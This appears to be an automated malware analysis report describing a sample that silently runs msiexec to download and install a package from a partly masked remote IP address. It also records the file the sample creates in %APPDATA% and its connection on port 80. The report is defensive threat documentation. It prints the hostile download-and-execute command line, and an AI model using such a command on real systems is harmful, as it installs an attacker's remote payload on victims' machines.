Technical Information
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\msiexec.exe' /q step1=commonl step2=files /i http://17#.#3.147.77/pm1
Modifies file system
Creates the following files
- %APPDATA%\microsoft\forms\excel.box
Network activity
Connects to
- '17#.#3.147.77':80
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\msiexec.exe' /q step1=commonl step2=files /i http://17#.#3.147.77/pm1' (with hidden window)
